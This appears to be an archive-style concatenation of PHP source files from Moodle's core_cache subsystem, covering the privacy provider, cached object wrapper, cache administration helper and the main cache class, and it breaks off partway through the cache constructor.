Subsystem implementation for core_cache. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class provider implements // Caches store data. \core_privacy\local\metadata\provider, // The cache subsystem stores data on behalf of other components. \core_privacy\local\request\subsystem\plugin_provider, \core_privacy\local\request\shared_userlist_provider { /** * Returns meta data about this system. * * Note, although this plugin does store user data, it is not able to * identify it, and that user data is typically very short lived. * * Therefore it is not realistically possible to export any of this * data as it is only identifiable by the plugin storing it, and that * plugin should already be exporting the data as part of it's own * implementation. * * @param collection $collection The initialised collection to add items to. * @return collection A listing of user data stored through this system. */ public static function get_metadata(collection $collection): collection { // Data is stored in cache stores. $collection->add_plugintype_link('cachestore', [], 'privacy:metadata:cachestore'); // Cache locks do not store any personal user data. return $collection; } } classes/cached_object.php000064400000004024152265337610011461 0ustar00. namespace core_cache; /** * A cached object wrapper. * * This class gets used when the data is an object that has implemented the cacheable_object_interface interface. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cached_object { /** * The class of the cacheable object * @var string */ protected $class; /** * The data returned by the cacheable_object_interface prepare_to_cache method. * @var mixed */ protected $data; /** * Constructs a cached object wrapper. * @param cacheable_object_interface $obj */ public function __construct(cacheable_object_interface $obj) { $this->class = get_class($obj); $this->data = $obj->prepare_to_cache(); } /** * Restores the data as an instance of the cacheable_object_interface class. * @return object */ public function restore_object() { $class = $this->class; return $class::wake_from_cache($this->data); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cached_object::class, \cache_cached_object::class); classes/local/administration_display_helper.php000064400000111305152265337610016130 0ustar00. /** * Cache display administration helper. * * This file is part of Moodle's cache API, affectionately called MUC. * It contains the components that are requried in order to use caching. * * @package core_cache * @category cache * @author Peter Burnett * @copyright 2020 Catalyst IT * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_cache\local; use core_cache\cache; use core_cache\config; use core_cache\config_writer; use core_cache\configurable_cache_interface; use core_cache\exception\cache_exception; use core_cache\factory; use core_cache\form\cache_lock_form; use core_cache\form\cache_mode_mappings_form; use core_cache\form\cache_definition_sharing_form; use core_cache\form\cache_definition_mappings_form; use core_cache\form\cachestore_addinstance_form; use core_cache\helper as cache_helper; use core_cache\lockable_cache_interface; use core_cache\store; use core_component; use core\context; use core\context\system as context_system; use core\exception\coding_exception; use core\exception\moodle_exception; use core\output\notification; use core\output\single_button; use core\url; use html_writer; use stdClass; /** * A cache helper for administration tasks * * @package core * @category cache * @copyright 2020 Peter Burnett * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class administration_display_helper extends \core_cache\administration_helper { /** * Please do not call constructor directly. Use factory::get_administration_display_helper() instead. */ public function __construct() { // Nothing to do here. } /** * Returns all of the actions that can be performed on a definition. * * @param context $context the system context. * @param array $definitionsummary information about this cache, from the array returned by * core_cache\administration_helper::get_definition_summaries(). Currently only 'sharingoptions' * element is used. * @return array of actions. Each action is an action_url. */ public function get_definition_actions(context $context, array $definitionsummary): array { global $OUTPUT; if (has_capability('moodle/site:config', $context)) { $actions = []; // Edit mappings. $actions[] = $OUTPUT->action_link( new url('/cache/admin.php', ['action' => 'editdefinitionmapping', 'definition' => $definitionsummary['id'], ]), get_string('editmappings', 'cache') ); // Edit sharing. if (count($definitionsummary['sharingoptions']) > 1) { $actions[] = $OUTPUT->action_link( new url('/cache/admin.php', ['action' => 'editdefinitionsharing', 'definition' => $definitionsummary['id'], ]), get_string('editsharing', 'cache') ); } // Purge. $actions[] = $OUTPUT->action_link( new url('/cache/admin.php', ['action' => 'purgedefinition', 'definition' => $definitionsummary['id'], 'sesskey' => sesskey(), ]), get_string('purge', 'cache') ); return $actions; } return []; } /** * Returns all of the actions that can be performed on a store. * * @param string $name The name of the store * @param array $storedetails information about this store, from the array returned by * core_cache\administration_helper::get_store_instance_summaries(). * @return array of actions. Each action is an action_url. */ public function get_store_instance_actions(string $name, array $storedetails): array { global $OUTPUT; $actions = []; if (has_capability('moodle/site:config', context_system::instance())) { $baseurl = new url('/cache/admin.php', ['store' => $name]); if (empty($storedetails['default'])) { // Edit store. $actions[] = $OUTPUT->action_link( new url($baseurl, ['action' => 'editstore', 'plugin' => $storedetails['plugin']]), get_string('editstore', 'cache') ); // Delete store. $actions[] = $OUTPUT->action_link( new url($baseurl, ['action' => 'deletestore']), get_string('deletestore', 'cache') ); } // Purge store. $actions[] = $OUTPUT->action_link( new url($baseurl, ['action' => 'purgestore', 'sesskey' => sesskey()]), get_string('purge', 'cache') ); } return $actions; } /** * Returns all of the actions that can be performed on a plugin. * * @param string $name The name of the plugin * @param array $plugindetails information about this store, from the array returned by * core_cache\administration_helper::get_store_plugin_summaries(). * @return array of actions. Each action is an action_url. */ public function get_store_plugin_actions(string $name, array $plugindetails): array { global $OUTPUT; $actions = []; if (has_capability('moodle/site:config', context_system::instance())) { if (!empty($plugindetails['canaddinstance'])) { $url = new url( '/cache/admin.php', ['action' => 'addstore', 'plugin' => $name] ); $actions[] = $OUTPUT->action_link( $url, get_string('addinstance', 'cache') ); } } return $actions; } /** * Returns a form that can be used to add a store instance. * * @param string $plugin The plugin to add an instance of * @return cachestore_addinstance_form * @throws coding_exception */ public function get_add_store_form(string $plugin): cachestore_addinstance_form { global $CFG; // Needed for includes. $plugins = core_component::get_plugin_list('cachestore'); if (!array_key_exists($plugin, $plugins)) { throw new coding_exception('Invalid cache plugin used when trying to create an edit form.'); } $plugindir = $plugins[$plugin]; $class = 'cachestore_addinstance_form'; if (file_exists($plugindir . '/addinstanceform.php')) { require_once($plugindir . '/addinstanceform.php'); if (class_exists('cachestore_' . $plugin . '_addinstance_form')) { $class = 'cachestore_' . $plugin . '_addinstance_form'; if (!array_key_exists(cachestore_addinstance_form::class, class_parents($class))) { throw new coding_exception('Cache plugin add instance forms must extend cachestore_addinstance_form'); } } } $locks = $this->get_possible_locks_for_stores($plugindir, $plugin); $url = new url('/cache/admin.php', ['action' => 'addstore']); return new $class($url, ['plugin' => $plugin, 'store' => null, 'locks' => $locks]); } /** * Returns a form that can be used to edit a store instance. * * @param string $plugin * @param string $store * @return cachestore_addinstance_form * @throws coding_exception */ public function get_edit_store_form(string $plugin, string $store): cachestore_addinstance_form { global $CFG; // Needed for includes. $plugins = core_component::get_plugin_list('cachestore'); if (!array_key_exists($plugin, $plugins)) { throw new coding_exception('Invalid cache plugin used when trying to create an edit form.'); } $factory = factory::instance(); $config = $factory->create_config_instance(); $stores = $config->get_all_stores(); if (!array_key_exists($store, $stores)) { throw new coding_exception('Invalid store name given when trying to create an edit form.'); } $plugindir = $plugins[$plugin]; $class = 'cachestore_addinstance_form'; if (file_exists($plugindir . '/addinstanceform.php')) { require_once($plugindir . '/addinstanceform.php'); if (class_exists('cachestore_' . $plugin . '_addinstance_form')) { $class = 'cachestore_' . $plugin . '_addinstance_form'; if (!array_key_exists(cachestore_addinstance_form::class, class_parents($class))) { throw new coding_exception('Cache plugin add instance forms must extend cachestore_addinstance_form'); } } } $locks = $this->get_possible_locks_for_stores($plugindir, $plugin); $url = new url('/cache/admin.php', ['action' => 'editstore', 'plugin' => $plugin, 'store' => $store]); $editform = new $class($url, ['plugin' => $plugin, 'store' => $store, 'locks' => $locks]); if (isset($stores[$store]['lock'])) { $editform->set_data(['lock' => $stores[$store]['lock']]); } // See if the cachestore is going to want to load data for the form. // If it has a customised add instance form then it is going to want to. $storeclass = 'cachestore_' . $plugin; $storedata = $stores[$store]; if ( array_key_exists('configuration', $storedata) && array_key_exists(configurable_cache_interface::class, class_implements($storeclass)) ) { $storeclass::config_set_edit_form_data($editform, $storedata['configuration']); } return $editform; } /** * Returns an array of suitable lock instances for use with this plugin, or false if the plugin handles locking itself. * * @param string $plugindir * @param string $plugin * @return array|false */ protected function get_possible_locks_for_stores(string $plugindir, string $plugin) { global $CFG; // Needed for includes. $supportsnativelocking = false; if (file_exists($plugindir . '/lib.php')) { require_once($plugindir . '/lib.php'); $pluginclass = 'cachestore_' . $plugin; if (class_exists($pluginclass)) { $supportsnativelocking = array_key_exists(lockable_cache_interface::class, class_implements($pluginclass)); } } if (!$supportsnativelocking) { $config = config::instance(); $locks = []; foreach ($config->get_locks() as $lock => $conf) { if (!empty($conf['default'])) { $name = get_string($lock, 'cache'); } else { $name = $lock; } $locks[$lock] = $name; } } else { $locks = false; } return $locks; } /** * Processes the results of the add/edit instance form data for a plugin returning an array of config information suitable to * store in configuration. * * @param stdClass $data The mform data. * @return array * @throws coding_exception */ public function get_store_configuration_from_data(stdClass $data): array { global $CFG; $file = $CFG->dirroot . '/cache/stores/' . $data->plugin . '/lib.php'; if (!file_exists($file)) { throw new coding_exception('Invalid cache plugin provided. ' . $file); } require_once($file); $class = 'cachestore_' . $data->plugin; if (!class_exists($class)) { throw new coding_exception('Invalid cache plugin provided.'); } if (array_key_exists(configurable_cache_interface::class, class_implements($class))) { return $class::config_get_configuration_array($data); } return []; } /** * Returns an array of lock plugins for which we can add an instance. * * Suitable for use within an mform select element. * * @return array */ public function get_addable_lock_options(): array { $plugins = core_component::get_plugin_list_with_class('cachelock', '', 'lib.php'); $options = []; $len = strlen('cachelock_'); foreach ($plugins as $plugin => $class) { $method = "$class::can_add_instance"; if (is_callable($method) && !call_user_func($method)) { // Can't add an instance of this plugin. continue; } $options[substr($plugin, $len)] = get_string('pluginname', $plugin); } return $options; } /** * Gets the form to use when adding a lock instance. * * @param string $plugin * @param array|null $lockplugin * @return cache_lock_form * @throws coding_exception */ public function get_add_lock_form(string $plugin, ?array $lockplugin = null): cache_lock_form { global $CFG; // Needed for includes. $plugins = core_component::get_plugin_list('cachelock'); if (!array_key_exists($plugin, $plugins)) { throw new coding_exception('Invalid cache lock plugin requested when trying to create a form.'); } $plugindir = $plugins[$plugin]; $class = cache_lock_form::class; $hasaddinstanceform = file_exists($plugindir . '/addinstanceform.php'); $hasaddinstanceform = $hasaddinstanceform && in_array(configurable_cache_interface::class, class_implements($class)); if ($hasaddinstanceform) { require_once($plugindir . '/addinstanceform.php'); if (class_exists('cachelock_' . $plugin . '_addinstance_form')) { $class = 'cachelock_' . $plugin . '_addinstance_form'; if (!is_a($class, cache_lock_form::class, true)) { throw new coding_exception('Cache lock plugin add instance forms must extend cache_lock_form'); } } } return new $class(null, ['lock' => $plugin]); } /** * Gets configuration data from a new lock instance form. * * @param string $plugin * @param stdClass $data * @return array * @throws coding_exception */ public function get_lock_configuration_from_data(string $plugin, stdClass $data): array { global $CFG; $file = $CFG->dirroot . '/cache/locks/' . $plugin . '/lib.php'; if (!file_exists($file)) { throw new coding_exception('Invalid cache plugin provided. ' . $file); } require_once($file); $class = 'cachelock_' . $plugin; if (!class_exists($class)) { throw new coding_exception('Invalid cache plugin provided.'); } if (array_key_exists(configurable_cache_interface::class, class_implements($class))) { return $class::config_get_configuration_array($data); } return []; } /** * Handles the page actions, based on the parameter. * * @param string $action the action to handle. * @param array $forminfo an empty array to be overridden and set. * @return array the empty or overridden forminfo array. */ public function perform_cache_actions(string $action, array $forminfo): array { switch ($action) { case 'rescandefinitions': // Rescan definitions. $this->action_rescan_definition(); break; case 'addstore': // Add the requested store. $forminfo = $this->action_addstore(); break; case 'editstore': // Edit the requested store. $forminfo = $this->action_editstore(); break; case 'deletestore': // Delete a given store. $this->action_deletestore($action); break; case 'editdefinitionmapping': // Edit definition mappings. $forminfo = $this->action_editdefinitionmapping(); break; case 'editdefinitionsharing': // Edit definition sharing. $forminfo = $this->action_editdefinitionsharing(); break; case 'editmodemappings': // Edit default mode mappings. $forminfo = $this->action_editmodemappings(); break; case 'purgedefinition': // Purge a specific definition. $this->action_purgedefinition(); break; case 'purgestore': case 'purge': // Purge a store cache. $this->action_purge(); break; case 'newlockinstance': $forminfo = $this->action_newlockinstance(); break; case 'deletelock': // Deletes a lock instance. $this->action_deletelock($action); break; } return $forminfo; } /** * Performs the rescan definition action. * * @return void */ public function action_rescan_definition() { global $PAGE; require_sesskey(); config_writer::update_definitions(); redirect($PAGE->url); } /** * Performs the add store action. * * @return array an array of the form to display to the user, and the page title. */ public function action_addstore(): array { global $PAGE; $storepluginsummaries = $this->get_store_plugin_summaries(); $plugin = required_param('plugin', PARAM_PLUGIN); if (!$storepluginsummaries[$plugin]['canaddinstance']) { throw new moodle_exception('ex_unmetstorerequirements', 'cache'); } $mform = $this->get_add_store_form($plugin); $title = get_string('addstore', 'cache', $storepluginsummaries[$plugin]['name']); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data()) { $config = $this->get_store_configuration_from_data($data); $writer = config_writer::instance(); unset($config['lock']); foreach ($writer->get_locks() as $lock => $lockconfig) { if ($lock == $data->lock) { $config['lock'] = $data->lock; } } $writer->add_store_instance($data->name, $data->plugin, $config); redirect($PAGE->url, get_string('addstoresuccess', 'cache', $storepluginsummaries[$plugin]['name']), 5); } $PAGE->navbar->add(get_string('addstore', 'cache', 'cache'), $PAGE->url); return ['form' => $mform, 'title' => $title]; } /** * Performs the edit store action. * * @return array an array of the form to display, and the page title. */ public function action_editstore(): array { global $PAGE; $storepluginsummaries = $this->get_store_plugin_summaries(); $plugin = required_param('plugin', PARAM_PLUGIN); $store = required_param('store', PARAM_TEXT); $mform = $this->get_edit_store_form($plugin, $store); $title = get_string('addstore', 'cache', $storepluginsummaries[$plugin]['name']); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data()) { $config = $this->get_store_configuration_from_data($data); $writer = config_writer::instance(); unset($config['lock']); foreach ($writer->get_locks() as $lock => $lockconfig) { if ($lock == $data->lock) { $config['lock'] = $data->lock; } } $writer->edit_store_instance($data->name, $data->plugin, $config); redirect($PAGE->url, get_string('editstoresuccess', 'cache', $storepluginsummaries[$plugin]['name']), 5); } return ['form' => $mform, 'title' => $title]; } /** * Performs the deletestore action. * * @param string $action the action calling to this function. */ public function action_deletestore(string $action): void { global $OUTPUT, $PAGE, $SITE; $notifysuccess = true; $storeinstancesummaries = $this->get_store_instance_summaries(); $store = required_param('store', PARAM_TEXT); $confirm = optional_param('confirm', false, PARAM_BOOL); if (!array_key_exists($store, $storeinstancesummaries)) { $notifysuccess = false; $notification = get_string('invalidstore', 'cache'); } else if ($storeinstancesummaries[$store]['mappings'] > 0) { $notifysuccess = false; $notification = get_string('deletestorehasmappings', 'cache'); } if ($notifysuccess) { if (!$confirm) { $title = get_string('confirmstoredeletion', 'cache'); $params = ['store' => $store, 'confirm' => 1, 'action' => $action, 'sesskey' => sesskey()]; $url = new url($PAGE->url, $params); $button = new single_button($url, get_string('deletestore', 'cache')); $PAGE->set_title($title); $PAGE->set_heading($SITE->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading($title); $confirmation = get_string('deletestoreconfirmation', 'cache', $storeinstancesummaries[$store]['name']); echo $OUTPUT->confirm($confirmation, $button, $PAGE->url); echo $OUTPUT->footer(); exit; } else { require_sesskey(); $writer = config_writer::instance(); $writer->delete_store_instance($store); redirect($PAGE->url, get_string('deletestoresuccess', 'cache'), 5); } } else { redirect($PAGE->url, $notification, null, notification::NOTIFY_ERROR); } } /** * Performs the edit definition mapping action. * * @return array an array of the form to display, and the page title. * @throws cache_exception */ public function action_editdefinitionmapping(): array { global $PAGE; $definitionsummaries = $this->get_definition_summaries(); $definition = required_param('definition', PARAM_SAFEPATH); if (!array_key_exists($definition, $definitionsummaries)) { throw new cache_exception('Invalid cache definition requested'); } $title = get_string('editdefinitionmappings', 'cache', $definition); $mform = new cache_definition_mappings_form($PAGE->url, ['definition' => $definition]); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data()) { $writer = config_writer::instance(); $mappings = []; foreach ($data->mappings as $mapping) { if (!empty($mapping)) { $mappings[] = $mapping; } } $writer->set_definition_mappings($definition, $mappings); redirect($PAGE->url); } $PAGE->navbar->add(get_string('updatedefinitionmapping', 'cache'), $PAGE->url); return ['form' => $mform, 'title' => $title]; } /** * Performs the edit definition sharing action. * * @return array an array of the edit definition sharing form, and the page title. */ public function action_editdefinitionsharing(): array { global $PAGE; $definitionsummaries = $this->get_definition_summaries(); $definition = required_param('definition', PARAM_SAFEPATH); if (!array_key_exists($definition, $definitionsummaries)) { throw new cache_exception('Invalid cache definition requested'); } $title = get_string('editdefinitionsharing', 'cache', $definition); $sharingoptions = $definitionsummaries[$definition]['sharingoptions']; $customdata = ['definition' => $definition, 'sharingoptions' => $sharingoptions]; $mform = new cache_definition_sharing_form($PAGE->url, $customdata); $mform->set_data([ 'sharing' => $definitionsummaries[$definition]['selectedsharingoption'], 'userinputsharingkey' => $definitionsummaries[$definition]['userinputsharingkey'], ]); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data()) { $component = $definitionsummaries[$definition]['component']; $area = $definitionsummaries[$definition]['area']; // Purge the stores removing stale data before we alter the sharing option. cache_helper::purge_stores_used_by_definition($component, $area); $writer = config_writer::instance(); $sharing = array_sum(array_keys($data->sharing)); $userinputsharingkey = $data->userinputsharingkey; $writer->set_definition_sharing($definition, $sharing, $userinputsharingkey); redirect($PAGE->url); } $PAGE->navbar->add(get_string('updatedefinitionsharing', 'cache'), $PAGE->url); return ['form' => $mform, 'title' => $title]; } /** * Performs the edit mode mappings action. * * @return array an array of the edit mode mappings form. */ public function action_editmodemappings(): array { global $PAGE; $storeinstancesummaries = $this->get_store_instance_summaries(); $defaultmodestores = $this->get_default_mode_stores(); $mform = new cache_mode_mappings_form(null, $storeinstancesummaries); $mform->set_data([ 'mode_' . store::MODE_APPLICATION => key($defaultmodestores[store::MODE_APPLICATION]), 'mode_' . store::MODE_SESSION => key($defaultmodestores[store::MODE_SESSION]), 'mode_' . store::MODE_REQUEST => key($defaultmodestores[store::MODE_REQUEST]), ]); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data()) { $mappings = [ store::MODE_APPLICATION => [$data->{'mode_' . store::MODE_APPLICATION}], store::MODE_SESSION => [$data->{'mode_' . store::MODE_SESSION}], store::MODE_REQUEST => [$data->{'mode_' . store::MODE_REQUEST}], ]; $writer = config_writer::instance(); $writer->set_mode_mappings($mappings); redirect($PAGE->url); } return ['form' => $mform]; } /** * Performs the purge definition action. * * @return void */ public function action_purgedefinition() { global $PAGE; require_sesskey(); $id = required_param('definition', PARAM_SAFEPATH); [$component, $area] = explode('/', $id, 2); $factory = factory::instance(); $definition = $factory->create_definition($component, $area); if ($definition->has_required_identifiers()) { // We will have to purge the stores used by this definition. cache_helper::purge_stores_used_by_definition($component, $area); } else { // Alrighty we can purge just the data belonging to this definition. cache_helper::purge_by_definition($component, $area); } $message = get_string('purgexdefinitionsuccess', 'cache', [ 'name' => $definition->get_name(), 'component' => $component, 'area' => $area, ]); $purgeagainlink = html_writer::link( new url('/cache/admin.php', [ 'action' => 'purgedefinition', 'sesskey' => sesskey(), 'definition' => $id, ]), get_string('purgeagain', 'cache') ); redirect($PAGE->url, $message . ' ' . $purgeagainlink, 5); } /** * Performs the purge action. * * @return void */ public function action_purge() { global $PAGE; require_sesskey(); $store = required_param('store', PARAM_TEXT); cache_helper::purge_store($store); $message = get_string('purgexstoresuccess', 'cache', ['store' => $store]); $purgeagainlink = html_writer::link( new url('/cache/admin.php', [ 'action' => 'purgestore', 'sesskey' => sesskey(), 'store' => $store, ]), get_string('purgeagain', 'cache') ); redirect($PAGE->url, $message . ' ' . $purgeagainlink, 5); } /** * Performs the new lock instance action. * * @return array An array containing the new lock instance form. */ public function action_newlockinstance(): array { global $PAGE; // Adds a new lock instance. $lock = required_param('lock', PARAM_ALPHANUMEXT); $mform = $this->get_add_lock_form($lock); if ($mform->is_cancelled()) { redirect($PAGE->url); } else if ($data = $mform->get_data()) { $factory = factory::instance(); $config = $factory->create_config_instance(true); $name = $data->name; $data = $this->get_lock_configuration_from_data($lock, $data); $config->add_lock_instance($name, $lock, $data); redirect($PAGE->url, get_string('addlocksuccess', 'cache', $name), 5); } return ['form' => $mform]; } /** * Performs the delete lock action. * * @param string $action the action calling this function. */ public function action_deletelock(string $action): void { global $OUTPUT, $PAGE, $SITE; $notifysuccess = true; $locks = $this->get_lock_summaries(); $lock = required_param('lock', PARAM_ALPHANUMEXT); $confirm = optional_param('confirm', false, PARAM_BOOL); if (!array_key_exists($lock, $locks)) { $notifysuccess = false; $notification = get_string('invalidlock', 'cache'); } else if ($locks[$lock]['uses'] > 0) { $notifysuccess = false; $notification = get_string('deletelockhasuses', 'cache'); } if ($notifysuccess) { if (!$confirm) { $title = get_string('confirmlockdeletion', 'cache'); $params = ['lock' => $lock, 'confirm' => 1, 'action' => $action, 'sesskey' => sesskey()]; $url = new url($PAGE->url, $params); $button = new single_button($url, get_string('deletelock', 'cache')); $PAGE->set_title($title); $PAGE->set_heading($SITE->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading($title); $confirmation = get_string('deletelockconfirmation', 'cache', $lock); echo $OUTPUT->confirm($confirmation, $button, $PAGE->url); echo $OUTPUT->footer(); exit; } else { require_sesskey(); $writer = config_writer::instance(); $writer->delete_lock_instance($lock); redirect($PAGE->url, get_string('deletelocksuccess', 'cache'), 5); } } else { redirect($PAGE->url, $notification, null, notification::NOTIFY_ERROR); } } /** * Outputs the main admin page by generating it through the renderer. * * @param \core_cache\output\renderer $renderer the renderer to use to generate the page. * @return string the HTML for the admin page. */ public function generate_admin_page(\core_cache\output\renderer $renderer): string { $context = context_system::instance(); $html = ''; $storepluginsummaries = $this->get_store_plugin_summaries(); $storeinstancesummaries = $this->get_store_instance_summaries(); $definitionsummaries = $this->get_definition_summaries(); $defaultmodestores = $this->get_default_mode_stores(); $locks = $this->get_lock_summaries(); $html .= $renderer->store_plugin_summaries($storepluginsummaries); $html .= $renderer->store_instance_summariers($storeinstancesummaries, $storepluginsummaries); $html .= $renderer->definition_summaries($definitionsummaries, $context); $html .= $renderer->lock_summaries($locks); $html .= $renderer->additional_lock_actions(); $applicationstore = join(', ', $defaultmodestores[store::MODE_APPLICATION]); $sessionstore = join(', ', $defaultmodestores[store::MODE_SESSION]); $requeststore = join(', ', $defaultmodestores[store::MODE_REQUEST]); $editurl = new url('/cache/admin.php', ['action' => 'editmodemappings']); $html .= $renderer->mode_mappings($applicationstore, $sessionstore, $requeststore, $editurl); return $html; } /** * Gets usage information about the whole cache system. * * This is a slow function and should only be used on an admin information page. * * The returned array lists all cache definitions with fields 'cacheid' and 'stores'. For * each store, the following fields are available: * * - name (store name) * - class (e.g. cachestore_redis) * - supported (true if we have any information) * - items (number of items stored) * - mean (mean size of item) * - sd (standard deviation for item sizes) * - margin (margin of error for mean at 95% confidence) * - storetotal (total usage for store if known, otherwise null) * * The storetotal field will be the same for every cache that uses the same store. * * @param int $samplekeys Number of keys to sample when checking size of large caches * @return array Details of cache usage */ public function get_usage(int $samplekeys): array { $results = []; $factory = factory::instance(); // Check the caches we already have an instance of, so we don't make another one... $got = $factory->get_caches_in_use(); $gotid = []; foreach ($got as $longid => $unused) { // The IDs here can be of the form cacheid/morestuff if there are parameters in the // cache. Any entry for a cacheid is good enough to consider that we don't need to make // another entry ourselves, so we remove the extra bits and track the basic cache id. $gotid[preg_replace('~^([^/]+/[^/]+)/.*$~', '$1', $longid)] = true; } $storetotals = []; $config = $factory->create_config_instance(); foreach ($config->get_definitions() as $configdetails) { if (!array_key_exists($configdetails['component'] . '/' . $configdetails['area'], $gotid)) { // Where possible (if it doesn't need identifiers), make an instance of the cache, otherwise // we can't get the store instances for it (and it won't show up in the list). if (empty($configdetails['requireidentifiers'])) { cache::make($configdetails['component'], $configdetails['area']); } } $definition = $factory->create_definition($configdetails['component'], $configdetails['area']); $stores = $factory->get_store_instances_in_use($definition); // Create object for results about this cache definition. $currentresult = (object)['cacheid' => $definition->get_id(), 'stores' => []]; $results[$currentresult->cacheid] = $currentresult; /** @var store $store */ foreach ($stores as $store) { // Skip static cache. if ($store instanceof \cachestore_static) { continue; } // Get cache size details from store. $currentstore = $store->cache_size_details($samplekeys); // Add in basic information about store. $currentstore->name = $store->my_name(); $currentstore->class = get_class($store); // Add in store total. if (!array_key_exists($currentstore->name, $storetotals)) { $storetotals[$currentstore->name] = $store->store_total_size(); } $currentstore->storetotal = $storetotals[$currentstore->name]; $currentresult->stores[] = $currentstore; } } ksort($results); return $results; } } classes/request_cache.php000064400000003161152265337610011540 0ustar00. namespace core_cache; /** * An request cache. * * This class is used for request caches returned by the cache::make methods. * * This cache class should never be interacted with directly. Instead you should always use the cache::make methods. * It is technically possible to call those methods through this class however there is no guarantee that you will get an * instance of this class back again. * * @internal don't use me directly. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class request_cache extends cache { // This comment appeases code pre-checker ;) ! } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(request_cache::class, \cache_request::class); classes/cache.php000064400000175276152265337610010011 0ustar00. namespace core_cache; use core\exception\coding_exception; use stdClass; /** * The main cache class. * * This class if the first class that any end developer will interact with. * In order to create an instance of a cache that they can work with they must call one of the static make methods belonging * to this class. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache implements loader_interface { /** * @var int Constant for cache entries that do not have a version number */ const VERSION_NONE = -1; /** * We need a timestamp to use within the cache API. * This stamp needs to be used for all ttl and time based operations to ensure that we don't end up with * timing issues. * @var int */ protected static $now; /** * A purge token used to distinguish between multiple cache purges in the same second. * This is in the format -. * * @var string */ protected static $purgetoken; /** * The definition used when loading this cache if there was one. * @var definition */ private $definition = false; /** * The cache store that this loader will make use of. * @var store */ private $store; /** * The next cache loader in the chain if there is one. * If a cache request misses for the store belonging to this loader then the loader * stored here will be checked next. * If there is a loader here then $datasource must be false. * @var loader_interface|false */ private $loader = false; /** * The data source to use if we need to load data (because if doesn't exist in the cache store). * If there is a data source here then $loader above must be false. * @var data_source_interface|false */ private $datasource = false; /** * Used to quickly check if the store supports key awareness. * This is set when the cache is initialised and is used to speed up processing. * @var bool */ private $supportskeyawareness = null; /** * Used to quickly check if the store supports ttl natively. * This is set when the cache is initialised and is used to speed up processing. * @var bool */ private $supportsnativettl = null; /** * Gets set to true if the cache is going to be using a static array for acceleration. * The array statically caches items used during the lifetime of the request. This greatly speeds up interaction * with the cache in areas where it will be repetitively hit for the same information such as with strings. * There are several other variables to control how this static acceleration array works. * @var bool */ private $staticacceleration = false; /** * The static acceleration array. * Items will be stored in this cache as they were provided. This ensure there is no unnecessary processing taking place. * @var array */ private $staticaccelerationarray = []; /** * The number of items in the static acceleration array. Avoids count calls like you wouldn't believe. * @var int */ private $staticaccelerationcount = 0; /** * An array containing just the keys being used in the static acceleration array. * This seems redundant perhaps but is used when managing the size of the static acceleration array. * Items are added to the end of the array and the when we need to reduce the size of the cache we use the * key that is first on this array. * @var array */ private $staticaccelerationkeys = []; /** * The maximum size of the static acceleration array. * * If set to false there is no max size. * Caches that make use of static acceleration should seriously consider setting this to something reasonably small, but * still large enough to offset repetitive calls. * * @var int|false */ private $staticaccelerationsize = false; /** * Gets set to true during initialisation if the definition is making use of a ttl. * Used to speed up processing. * @var bool */ private $hasattl = false; /** * Gets set to the class name of the store during initialisation. This is used several times in the cache class internally * and having it here helps speed up processing. * @var strubg */ protected $storetype = 'unknown'; /** * Gets set to true if we want to collect performance information about the cache API. * @var bool */ protected $perfdebug = false; /** * Determines if this loader is a sub loader, not the top of the chain. * @var bool */ protected $subloader = false; /** * Gets set to true if the cache writes (set|delete) must have a manual lock created first. * @var bool */ protected $requirelockingbeforewrite = false; /** * Gets set to true if the cache's primary store natively supports locking. * If it does then we use that, otherwise we need to instantiate a second store to use for locking. * @var store|null */ protected $nativelocking = null; /** * Creates a new cache instance for a pre-defined definition. * * @param string $component The component for the definition * @param string $area The area for the definition * @param array $identifiers Any additional identifiers that should be provided to the definition. * @param string $unused Used to be datasourceaggregate but that was removed and this is now unused. * @return application_cache|session_cache|store */ public static function make($component, $area, array $identifiers = [], $unused = null) { $factory = factory::instance(); return $factory->create_cache_from_definition($component, $area, $identifiers); } /** * Creates a new cache instance based upon the given params. * * @param int $mode One of store::MODE_* * @param string $component The component this cache relates to. * @param string $area The area this cache relates to. * @param array $identifiers Any additional identifiers that should be provided to the definition. * @param array $options An array of options, available options are: * - simplekeys : Set to true if the keys you will use are a-zA-Z0-9_ * - simpledata : Set to true if the type of the data you are going to store is scalar, or an array of scalar vars * - staticacceleration : If set to true the cache will hold onto data passing through it. * - staticaccelerationsize : The max size for the static acceleration array. * @return application_cache|session_cache|request_cache */ public static function make_from_params($mode, $component, $area, array $identifiers = [], array $options = []) { $factory = factory::instance(); return $factory->create_cache_from_params($mode, $component, $area, $identifiers, $options); } /** * Constructs a new cache instance. * * You should not call this method from your code, instead you should use the cache::make methods. * * This method is public so that the factory is able to instantiate cache instances. * Ideally we would make this method protected and expose its construction to the factory method internally somehow. * The factory class is responsible for this in order to centralise the storage of instances once created. This way if needed * we can force a reset of the cache API (used during unit testing). * * @param definition $definition The definition for the cache instance. * @param store $store The store that cache should use. * @param loader_interface|data_source_interface $loader The next loader in the chain or the data source if there is one * and there are no other loader_interfaces in the chain. */ public function __construct(definition $definition, store $store, $loader = null) { global $CFG; $this->definition = $definition; $this->store = $store; $this->storetype = get_class($store); $this->perfdebug = (!empty($CFG->perfdebug) and $CFG->perfdebug > 7); if ($loader instanceof loader_interface) { $this->set_loader($loader); } else if ($loader instanceof data_source_interface) { 